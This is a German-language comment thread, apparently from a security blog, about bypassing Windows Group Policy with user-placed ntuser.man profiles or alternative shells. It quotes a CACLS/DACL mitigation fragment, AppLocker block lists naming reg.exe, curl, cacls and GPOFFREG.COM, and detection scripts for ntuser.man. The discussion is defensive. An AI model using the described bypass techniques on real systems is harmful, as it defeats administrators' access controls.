Apropos "Design-Fehler" — es ist viel mehr^Wweniger ein IMPLEMENTATIONS-Fehler: sowohl ntuser.dat als auch ntuser.man werden NUR von einem unter SYSTEM-Konto laufenden Prozess geöffnet, d.h. beide könn(t)en mit dem SYSTEM-Konto als Besitzer angelegt und dieser beim Öffnen verifiziert werden.
JTFR: die beim Öffnen im Verzeichnis %USERPROFILE% erstellten Transaktions-Dateien ntuser.dat.log* sowie ntuser.dat{guidguid-guid-guid-guid-guidguidguid}.TxR.?.regtrans-ms etc. gehören ALLE dem (sie erstellenden) SYSTEM-Konto.
Moin, sehr interessant.
Finde es auch belustigend wie man mit Mark über GPOs diskutiert; er ist uns da allen was voraus und lest bitte einfach richtig.
Was ich mich frage: die Intune/config.office.com Baselines – ziehen die dann noch mit angemeldeten Benutzer?!
Wobei wenn ich alle Office Benutzer GPO ausschalten kann, ist ggf. kein Anmelden Zwang mehr da?!
Ist das Schulterzucken von MS vlt. ein weiteres: dann nimm halt die Cloud?!
Die Intune / MDM Policies / CSPs liegen (AFAIK) ausschließlich unter "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PolicyManager".
Ich denke hier fehlt etwas die Abgrenzung.
Was eine Policy ist, und was Benutzerrechte sind.
Eine Policy ändert nur "Programmeinstellungen", die können zwar durch entfernen von Buttons den User einschränken. Aber aus Sicht des Kernels hat der Benutzer noch immer alle Rechte.
Klassisches Beispiel.. die meisten GPOs für die Windows Oberfläche sind an den "explorer" gebunden.
Es reicht wenn der User es schafft eine alternative Shell zu starten, um alle Shell-GPOs auszuhebeln. Und wie jeder unter Windows weiss.. gibt es dazu erstaunliche viele Möglichkeiten. Früher mehr verwendet.. Standard-Hotkeys in Programmen, z.b. Hilfe, .exe Dateien austauschen usw. usw. selten verwendete Programm Erweiterungen nutzen.. USB-Geräte welche Aktionen triggern, gerade seit Win8 extrem nervig die Wish-Gesten auf Touchdisplays, die Liste ist endlos.
Das Problem gibt es auch so unter Linux. Deshalb sind ja Lösungen wie Docker so nett, weil diese die Anzahl der Binaries auf die ein User hat auf das Minimum reduzieren, und wenn richtig gemacht die Angriffsfläche extrem reduzieren,
Die "Empfohlenen Gegenmaßnahmen" kann man ja nur durchführen, wenn die Zeile "SET /P DACL=Copy the output and insert (D;NP;DCWD;;;S-1-5-21-*-*-*-*) in front of the first opening parenthesis" händisch abgeändert wird, genauso auch bei Maßnahme "b".
Möchte das jemand in ein Script gießen, damit es unternehmensweit verteilt werden kann und dieses Script evtl. hier teilen? :-)
Ich habe ein Script erstellt und werde dies an Born senden damit er dies bei sich gerne oben erweitert :)
Ich binde es demnächst im Beitrag ein – danke.
wir (öffentliches Institut mit 3500 Windows Client) setzen zwar Applocker für EXE/MSI/APPX ein, für DLL zwar nicht aber Applocker hilft hier höchstens wenn man legitime und nativ integrierte Anwendungen blockt. Alternativen via PS oder ähnliches werden vermutlich auch möglich sein daher nicht zielführend in meinen Augen. E- & XDRs helfen nicht. Microsoft scheints egal zu sein oder schlimmer noch, sie wissen vielleicht nicht wie sie es besser machen können.
Frage: wenn ich es richtig verstehe, braucht man Gegenmaßnahme A oder B, oder?
Alternativ könnte man auf den Profilhomes der User nach ntuser.man suchen aber was ist, wenn ein solcher das Roaming deaktiviert und auf lokal umstellt. Dann kommt die ntuser.man da nie an. Auch doof.
@Günter: Bei Gegenmaßnahme B ist die Formatierung (zumindest bei mir) kaputt "CACLS.exe ntuser.dat /S:%DACL%" sollte in einer neuen Zeile stehen
P.S: Wann kommt das Thema bei Heise und Golem?
Deinen ersten (Ab)Satz verstehe ich nicht. Die Maßnahmen mit Applocker mit ein paar anderen Sachen kombiniert helfen sehr wohl. Bei uns dürfen normale Benutzer keine CMD und auch keine PS öffnen. %system32%\reg.exe, %system32%\curls.exe und %system32%\cacls und diverse andere Werkzeuge sind per Applocker geblockt. Das brauchen die Office-Nutzer alles nicht. Jetzt auch die GPOFFREG.COM per Checksum und Dateiname, selbst wenn es jemand schafft, sie in einen per Applocker nicht gesperrten Pfad zu legen. Bei Virustotal wird die Datei auch bei immer mehr AVs als Schädling erkannt, sind zwar noch nicht sehr viele, aber mit Sophos, Trellix und Cynet sind jetzt schon drei "Große" dabei. ntuser.man Profildateien überleben auch nicht lange nach Dateierstellung…
Ich bezweifle stark, dass das Thema anderswo so heiß gekocht wird, wie von unseren hochangesehenen Protagonisten hier. Auch die internationalen bekannteren Sec-Blogs wie Bleeping und hackernews haben das Thema noch nicht angefasst. Und wenn ich mir so manche Bugreports des einen Protagonisten auf der Security-Mailingliste ansehe, verstehe ich auch warum, siehe auch obige Postings. Der Protagonist sollte auch mal seine Webseite in Ordnung bringen, so krude signierte Seiten sperrt unser Proxy ganz automatisch. Ist der EICAR-Testvirus dort noch eingebunden?
Nebeinbei: Laut Virustotal ermöglicht GPOFFREG.COM auch DLL-Sideloading, brrr… Naja, ein Unsicherheiotstool muss nicht sicher sein.
du hast natürlich Recht damit dass man mit Applocker auch die cmd, ps etc sperren kann, gefällt mir nur nicht da wir durchaus legitime Gründe dafür haben (wir machen Forschung und haben halt nicht nur Standardofficeanwender)
so wie es verstehe ist die GPOFFREG.COM doch nur ein Hilfsmittel und man kann das auch ohne die Datei erreichen. GPOFFREG.COM würde bei uns definitiv von Applocker geblockt werden
>ntuser.man Profildateien überleben auch nicht lange nach Dateierstellung
warum sollten die nicht überleben?
>Der Protagonist sollte auch mal seine Webseite in Ordnung bringen, so krude signierte >Seiten sperrt unser Proxy ganz automatisch.
du meinst wegen dem Wildcardcert?
Weiß nicht ob man den Reiter wegen seinem Pferd hängen sollte da dass hier keine Rolle spielt, ist es doch eigentlich egal. Ja das Tool kann vielleicht Sideloading machen aber es ist vermutlich für Demozwecke erstellt worden also unerheblich in meinen Augen
Also wichtige / wertvolle Forschungsdaten auf dem PC, der auch ins Internet kann? Wir haben zwar "nur" Softwareentwickler, aber das machen die Remote auf (virtuellen) Systemen, die nur eingeschränkt ins Internet können (also nur beantragte Seiten), wo sie dann auch solche Privilegien wie CMD und PS haben.
Wegen Sideloading: Dieser Protagonist ist sonst immer derjenige, der am lautesten schreit, wenn ein MS-Tool (z.B. die Sysinternals) das auch ermöglicht. Da erwarte ich schon ein gewisses Vorbildsverhalten.
> warum sollten die nicht überleben?
Wird im Rahmen der regelmäßig stattfindenden Dateisystembereinigung (script) weggeputzt.
Wichtig und wertvoll ist ja immer subjekt :) aber irgendjemandem sind sie mit Sicherheit wichtig und ja Internetzugriff ist auch an Clients voll gegeben.
Es war schon ein Krampf Applocker einzuführen aber die Einschränkungen bekomme ich nicht geregelt, das muss weiter oben geschehen aber das ist komplett offtopic.
Aus Interesse:
>Wird im Rahmen der regelmäßig stattfindenden >Dateisystembereinigung (script) weggeputzt.
was löscht ihr dabei noch so? Und die ntuser.man habt ihr auch vorher schon regelmäßig löschen lassen?
Hi Alle,
danke Mark, Stefan sowie Günter für all die Informationen.
Ich habe in meiner gesamten Umgebung keinerlei Mandatory Profiles im Einsatz daher habe ich mir über mein XDR ein Detection Model gebaut, dieses erkennt einen Client mit einer ntuser.man-Datei und ermöglicht mir dann eine automatische Reaktion auf so einen Vorfall.
Beste Grüße
Robert
Bei uns ähnlich, wir haben ein PS Script auf den Clients und Terminalservern ausgerollt welches täglich in c:\users\.\ nach ntuser.man schaut und bei Fund eine Mail ans Ticketsystem schickt